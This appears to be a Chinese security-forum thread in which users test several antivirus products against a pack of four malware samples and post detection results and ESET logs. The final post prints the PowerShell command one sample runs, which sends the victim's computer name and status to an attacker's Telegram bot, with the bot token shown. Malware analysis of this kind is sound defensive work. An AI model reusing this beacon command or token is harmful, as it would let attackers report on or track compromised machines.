4x

Yjln

norton v22 kill all

LingGao

Microsoft Defender

“App-Setup.exe”“iSetups.exe”“RV-tools-4.7.0.1.exe”
Trojan:Win32/Wacatac.C!ml

“installers_setup.exe”
MISS。已提交分析，研究员分析结果：Trojan:Win32/Malgent!MSR

Curve25519

superLYT 发表于 2025-12-18 01:05
EIS解压miss all，双击貌似有虚拟机检测，Ry-tools-4.7.0.1.exe双击后拦截powershell命令，然后kill本体

ESET Smart Security Premium 20251218 复测，解压 kill 2x（App-Setup.exe、Installers_setup.exe），右键查看 LiveGrid 信誉时 kill RV-tools-4.7.0.1.exe，iSetups.exe miss，iSetups.exe 右键扫描报 Win32/RemoteAdmin.ConnectWiseControl.L 潜在的不安全应用程序

2025/12/18 16:18:19;文件系统实时防护;文件;\Device\TweakCubeRamDisk0\Sandbox\Admin\DefaultBox\drive\W\4x (2025-12-17)\App-Setup.exe;Win32/ConnectWiseControl.HA 特洛伊木马;已通过删除清除;DESKTOP-K07940I\Admin;在通过应用程序创建的新文件上发生了事件: C:\Program Files\WinRAR\WinRAR.exe (D150653D2058987677CD7ED3FF5344D9BA9D2739).;AFAF246A910346CC0651EDFAD651E7AF9811C313;2025/12/18 16:18:17;S-1-5-21-1216372390-1976424117-2270819850-1001;
2025/12/18 16:18:19;文件系统实时防护;文件;\Device\TweakCubeRamDisk0\Sandbox\Admin\DefaultBox\drive\W\4x (2025-12-17)\Installers_setup.exe;Win32/ConnectWiseControl.HA 特洛伊木马;已通过删除清除;DESKTOP-K07940I\Admin;在通过应用程序创建的新文件上发生了事件: C:\Program Files\WinRAR\WinRAR.exe (D150653D2058987677CD7ED3FF5344D9BA9D2739).;9E277005EE94F1A9A8A415E5C4C1A49BEF2D0901;2025/12/18 16:18:17;S-1-5-21-1216372390-1976424117-2270819850-1001;

2025/12/18 16:19:58;文件系统实时防护;文件;\Device\TweakCubeRamDisk0\Sandbox\Admin\DefaultBox\drive\W\4x (2025-12-17)\RV-tools-4.7.0.1.exe;PowerShell/TrojanDropper.Agent.AKR 特洛伊木马;已通过删除清除;DESKTOP-K07940I\Admin;尝试通过应用程序访问文件时发生事件: C:\Windows\System32\dllhost.exe (F401AE9310FAB4781A3E9FA1EAFF26F3D484C6E0).;7E4C67D4E10D20B4D1AD0F398D4CD6959F663219;;S-1-5-21-1216372390-1976424117-2270819850-1001;

扫描日志
检测引擎的版本: 32373 (20251218)
日期: 2025/12/18  时间: 16:21:11
已扫描的磁盘、文件夹和文件: W:\Sandbox\Admin\DefaultBox\drive\W\4x (2025-12-17)\iSetups.exe
用户: DESKTOP-K07940I\Admin
W:\Sandbox\Admin\DefaultBox\drive\W\4x (2025-12-17)\iSetups.exe > INNO > {app}\MyApp.msi > MSI > Default.cab > CAB > system.config - Win32/RemoteAdmin.ConnectWiseControl.L 潜在的不安全应用程序 - 已保留
已扫描的对象数: 79
检测数: 1
已清除的对象数: 0
完成时间: 16:21:12  总扫描时间: 1 秒 (00:00:01)

Curve25519

iSetups.exe 运行 Powershell

1. "powershell.exe" -Command "try { $body = @{ chat_id = '8195474960'; text = 'Installation Successful
   
2. 
   
3. Computer: DESKTOP-K07940I
   
4. Date: 18/12/2025 16:22:31
   
5. OS: Windows 10/11
   
6. Status: Installed Successfully
   
7. 
   
8. @redirectmiddle Middlefinger' } | ConvertTo-Json; Invoke-RestMethod -Uri 'https://api.telegram.org/bot8481688434:AAEJtuSKNZXVApxADSK9M0Ea-AiH2DH8iF0/sendMessage' -Method Post -ContentType 'application/json' -Body $body } catch { Write-Host 'Error: $($_.Exception.Message)' }"

复制代码